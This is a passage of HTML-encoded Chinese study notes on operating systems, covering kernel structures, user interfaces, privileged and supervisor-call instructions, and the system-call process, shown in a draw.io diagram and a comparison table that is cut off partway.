\u003c/th\u003e\u003cth\u003e实时系统\u003c/th\u003e\u003cth\u003e分时系统\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e设计目标不同\u003c/td\u003e\u003ctd\u003e多是专用系统\u003c/td\u003e\u003ctd\u003e多是通用系统\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e交互性强弱不同\u003c/td\u003e\u003ctd\u003e外界操作是严格控制的,交互性弱\u003c/td\u003e\u003ctd\u003e允许系统和用户之间有较强的会话能力,交互性强\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e响应时间长短不同\u003c/td\u003e\u003ctd\u003e以控制过程中信息处理能接受的延迟为标准\u003c/td\u003e\u003ctd\u003e以人能接受的等待时间为标准\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_84\"\u003e操作系统内核结构\u003c/h3\u003e\u003ch4 id=\"toc_85\"\u003e微内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e内核保持尽量小,只实现操作系统的基本功能,而将更多功能放在内核之外运行,各模块之间通过消息进行通讯。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e特点\u003c/strong\u003e:内核简单,安全可靠,可移植性好。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_86\"\u003e单内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e内核容纳更多的功能,分为若干个模块,模块间的通信通过调用其它模块中的函数实现(直接调用)。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e特点\u003c/strong\u003e:执行效率高,但可移植性相对减弱。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_87\"\u003e混合内核\u003c/h4\u003e\u003cul\u003e\u003cli\u003e单内核和微内核的结合,取长补短,为大多数商业操作系统采用。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_88\"\u003e作业管理和用户接口\u003c/h2\u003e\u003ch3 id=\"toc_89\"\u003e用户接口类型\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e作业控制级接口\u003c/strong\u003e——面向人\u003c/p\u003e\u003col\u003e\u003cli\u003e命令驱动\u003c/li\u003e\u003cli\u003e图形化驱动\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e程序级接口\u003c/strong\u003e——面向应用程序\u003c/p\u003e\u003cul\u003e\u003cli\u003e系统功能调用\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_90\"\u003e系统功能调用\u003c/h3\u003e\u003ch4 id=\"toc_91\"\u003e程序的管态和算态\u003c/h4\u003e\u003col\u003e\u003cli\u003e操作系统运行的状态称为管态(系统态, 核心态)\u003c/li\u003e\u003cli\u003e用户程序运行的状态称为算态(用户态, 目态)\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_92\"\u003e指令类型\u003c/h4\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e特权指令\u003c/strong\u003e:一类只能在管态下执行而不能在算态下执行的特殊指令。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e访管指令\u003c/strong\u003e:引发访管中断的指令,运行在算态。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e广义指令\u003c/strong\u003e:操作系统提供的每一个子功能(系统调用程序)被抽象成的一个系统调用命令。\u003c/li\u003e\u003c/ol\u003e\u003cblockquote\u003e\u003cp\u003e访管指令本身不是特权指令,它会引发访管中断,进而进入系统态执行系统调用(广义指令),在系统调用程序中可能会嵌入特权指令。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"toc_93\"\u003e系统调用\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003e概念\u003c/strong\u003e:系统调用是指用户在程序中调用操作系统提供的一些子功能,是用户在程序级请求操作系统服务的一种手段。\u003c/p\u003e\u003ch5 id=\"toc_94\"\u003e过程\u003c/h5\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" version=\"1.1\" width=\"452px\" height=\"321px\" viewBox=\"-0.5 -0.5 452 321\" content=\"\u0026lt;mxfile host=\u0026quot;Electron\u0026quot; modified=\u0026quot;2022-06-21T05:24:53.947Z\u0026quot; agent=\u0026quot;5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/15.8.7 Chrome/91.0.4472.164 Electron/13.6.2 Safari/537.36\u0026quot; etag=\u0026quot;kAHyp_jutfYlrab-mVb0\u0026quot; version=\u0026quot;15.8.7\u0026quot; type=\u0026quot;device\u0026quot;\u0026gt;\u0026lt;diagram id=\u0026quot;dCws1yf_HOOZkeMMr0yw\u0026quot; name=\u0026quot;第 1 页\u0026quot;\u0026gt;7Vpbk+IoFP41VO0+2JWQi8ljonH2WtW1Xbsz84gGY2ZicBFb3V+/QMAkipdpYzvb2y8K5xwg4Zzv4wABzmC++UDRYvY7SXEBoJVugDMEEPaDgP8KwbYS+JZbCTKap5XIrgVP+T9YCS0lXeUpXrYMGSEFyxdt4YSUJZ6wlgxRStZtsykp2qMuUIYPBE8TVBxKP+Ypm1VS1w8aip9wns3U0I5jqSefI22tBMsZSsm6IXIS4AwoIawqzTcDXIjJ0xNTtRsd0e4egOKSXdLgQ2/+88cvX70/Nh7+9Otfz4P1L9serHp5RsVKvTFIXBAHIBqCxAehLwseiFwQuCDpg9ACgQ+SAMQjEPSFJApAEKtXZFs9cZSsyhSLoS3gxOtZzvDTAk2Eds0jhctmbF7wms2LU1Iy5Xvb5/UCjXHxSJY5y0nJhRP+iphyxTOmLOfe+W3PYJ6nqRg5RkWeGVtESsGIGFu9NdfhzdHptHdO4tGNyRwzuuUmqgHsK7+qyHZVdV2HCXSUbNaMEB0PSIVmtuu6dh4vKP99gy9tgy89EEcgrDznClftHFapgtH/z3Ne23E2PPScbfKcfTvPuQdewCnnIVUtSSlmqO0YQtmMZKTkU0rEzEh3fMGMbZU/0IqRtrPwJmefRPMHT9U+NzTDjepZVraq0nSwo+oDUhDuoWGKp2hVsJ1XxDOf9gl/RbKiE3xiLnzF8ohmmJ2wC80+prhALH9uP0fnDvMNUOOcmYA4EQiLh6IsCg6IY1mIQTiStMn502nA0RMQjPuiEEIQDJQkgJJ+PWHfGUCdjpgvaAOob2A+28R8N4OP/93Ch08p3TYaiernpq5uJmt3g114Iexsyxwbr4O70JyujEAo05UgEokKtAaPf/JfgbIgEQgS4BqI5e57h5JpLXplLPXfsXQtlrTDzoPpSHS8Dpj0YzbRBH05GXwAJHZVM0SX6g38v1dipxKv2LQX1NVWqGihmOHeUk45x5xlO4uNNK0b+Zn6l8MtF6j8po6sSlHZC01J6BwVDd1agUUoXcuqNAWPSUx7fLhJXmaHLTmQWS/nkV2qlpYeT2oYReVyyu11S4kFgVZC03avu4ZjNPmaSbj0JlXMCTXNxj9AzwOQe85qFn5sDJfiCaGoypPb46X5clGgbSXOyyLXimlBENuzPph0kViMQOTJlIUX4KWZCt8KhpZhByFsIrk/5LmLJ3uWSUzkaOatKHgIBN35Cm6jyus6Erpk5lMI75av75/7BO98fTVf65Ols3wN78rXhg3+C/j6hdTrvlNvJ9QbhCDqS+q15XbvkGgPT2jeEmXC+6e44TtlXk2Z8FLKdO5KmYbz7XfK/G9RprxqCGVyGfLcNNFJqiMT2UTkl2+LIO+eU0LHcMxicoNasPiiFsgzTF8k+Ppq7Ai91kya1NIO2bbBtTXzXnO2jYuxvLbT9xHgBbcc1d3F2SuOMWGMzDtmaudSpj4ZpT3rwQlcddB6MXmr7h5Jzh+7NiHTqeDc/TjdjXoF4RtC9yW0Da2TzN1S75M3PM/f2sRI4S2licW1gZnItfYMl1sNOrcajN4a3Ujq2sLE67uJ2aN2cypsy8OH6naZO+TEue1bInjn7hkw9O5J0bp8CUXXCXErHa6z46sSYgO1d8i80L2Qef0rU2TZNKIUbRsGC8G5SwMJ66h09tIO22vG1Vn7wNsLw+oBOmVzaLpn5bvigbgZrc4YQ9vwwYopuOWS3A7Is+vx7uMEivn6gMayPxFeanJ5514MvOH1bKK+X1JDgN0muRl3J6B8lHusB8vXY7x01dafbrUb3G4N17hped10cCLu2+XpMy9wobAZyI+SXLFBiA4/qrj3dZ+/BznrcCGwX3chOH16fOtcvfPvUG5M6P0LCb2K4HsdeujHbOHnghueTtFylEq7h5Ht3Q5GvFp/oVkRXP2dq5P8Cw==\u0026lt;/diagram\u0026gt;\u0026lt;/mxfile\u0026gt;\" style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cdefs/\u003e\u003cg\u003e\u003crect x=\"220\" y=\"0\" width=\"230\" height=\"320\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 228px; height: 1px; padding-top: 7px; margin-left: 221px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e中断处理过程\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"23\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e中断处理过程\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"0\" y=\"80\" width=\"130\" height=\"120\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-start; justify-content: unsafe center; width: 128px; height: 1px; padding-top: 87px; margin-left: 1px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 16px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e应用程序\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"103\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"16px\" text-anchor=\"middle\"\u003e应用程序\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 60 L 335 73.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 78.88 L 331.5 71.88 L 335 73.63 L 338.5 71.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"30\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 45px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e设置系统调用号和参数\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"49\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e设置系统调用号和参数\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 110 L 335 123.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 128.88 L 331.5 121.88 L 335 123.63 L 338.5 121.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"80\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 95px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e保护 CPU 现场\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"99\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e保护 CPU 现场\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 160 L 335 173.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 178.88 L 331.5 171.88 L 335 173.63 L 338.5 171.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"130\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 145px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 13px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e查询系统调用子程序的入口地址\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"149\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e查询系统调用子程序的入口地址\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 210 L 335 223.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 228.88 L 331.5 221.88 L 335 223.63 L 338.5 221.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"180\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 195px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e执行调用程序\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"199\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e执行调用程序\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 335 260 L 335 273.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 335 278.88 L 331.5 271.88 L 335 273.63 L 338.5 271.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"230\" y=\"230\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 245px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e返回结果\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"249\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e返回结果\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 230 295 L 65 295 L 65 206.37\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 65 201.12 L 68.5 208.12 L 65 206.37 L 61.5 208.12 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe flex-end; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 292px; margin-left: 150px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e返回用户态\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"150\" y=\"292\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e返回用户态\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"230\" y=\"280\" width=\"210\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 208px; height: 1px; padding-top: 295px; margin-left: 231px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e\u003cspan style=\"font-size: 14px ; font-style: normal ; font-weight: 400 ; letter-spacing: normal ; text-indent: 0px ; text-transform: none ; word-spacing: 0px ; background-color: rgb(255 , 255 , 255) ; text-decoration: none ; display: inline ; float: none\"\u003e恢复 CPU 现场\u003c/span\u003e\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"335\" y=\"299\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e恢复 CPU 现场\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 120 175 L 180 175 L 180 45 L 223.63 45\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 228.88 45 L 221.88 48.5 L 223.63 45 L 221.88 41.5 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 114px; margin-left: 180px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); white-space: nowrap;\"\u003e引发中断\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"180\" y=\"118\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e引发中断\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003crect x=\"10\" y=\"160\" width=\"110\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 175px; margin-left: 11px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e执行访管指令\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"179\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e执行访管指令\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003cpath d=\"M 65 140 L 65 160 L 65 140 L 65 153.63\" fill=\"none\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"stroke\"/\u003e\u003cpath d=\"M 65 158.88 L 61.5 151.88 L 65 153.63 L 68.5 151.88 Z\" fill=\"rgb(0, 0, 0)\" stroke=\"rgb(0, 0, 0)\" stroke-miterlimit=\"10\" pointer-events=\"all\"/\u003e\u003crect x=\"10\" y=\"110\" width=\"110\" height=\"30\" fill=\"rgb(255, 255, 255)\" stroke=\"rgb(0, 0, 0)\" pointer-events=\"all\"/\u003e\u003cg transform=\"translate(-0.5 -0.5)\"\u003e\u003cswitch\u003e\u003cforeignObject pointer-events=\"none\" width=\"100%\" height=\"100%\" requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\" style=\"overflow: visible; text-align: left;\"\u003e\u003cdiv xmlns=\"http://www.w3.org/1999/xhtml\" style=\"display: flex; align-items: unsafe center; justify-content: unsafe center; width: 108px; height: 1px; padding-top: 125px; margin-left: 11px;\"\u003e\u003cdiv data-drawio-colors=\"color: rgb(0, 0, 0); \" style=\"box-sizing: border-box; font-size: 0px; text-align: center;\"\u003e\u003cdiv style=\"display: inline-block; font-size: 13px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;\"\u003e系统调用\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\u003c/foreignObject\u003e\u003ctext x=\"65\" y=\"129\" fill=\"rgb(0, 0, 0)\" font-family=\"Helvetica\" font-size=\"13px\" text-anchor=\"middle\"\u003e系统调用\u003c/text\u003e\u003c/switch\u003e\u003c/g\u003e\u003c/g\u003e\u003cswitch\u003e\u003cg requiredFeatures=\"http://www.w3.org/TR/SVG11/feature#Extensibility\"/\u003e\u003ca transform=\"translate(0,-5)\" xlink:href=\"https://www.diagrams.net/doc/faq/svg-export-text-problems\" target=\"_blank\"\u003e\u003ctext text-anchor=\"middle\" font-size=\"10px\" x=\"50%\" y=\"100%\"\u003eViewer does not support full SVG 1.1\u003c/text\u003e\u003c/a\u003e\u003c/switch\u003e\u003c/svg\u003e\u003ch4 id=\"toc_95\"\u003e一般的过程调用和系统调用的区别\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e \u003c/th\u003e\u003cth\u003e一般过程调用\u003c/th\u003e\u003cth\u003e系统调用\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e运行状态不同\u003c/td\u003e\u003ctd\u003e调用过程和被调用过程运行在相同的状态\u003c/td\u003e\u003ctd\u003e调用过程运行在用户态(算态),被调用的系统功能子程序运行在系统态(管态)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd 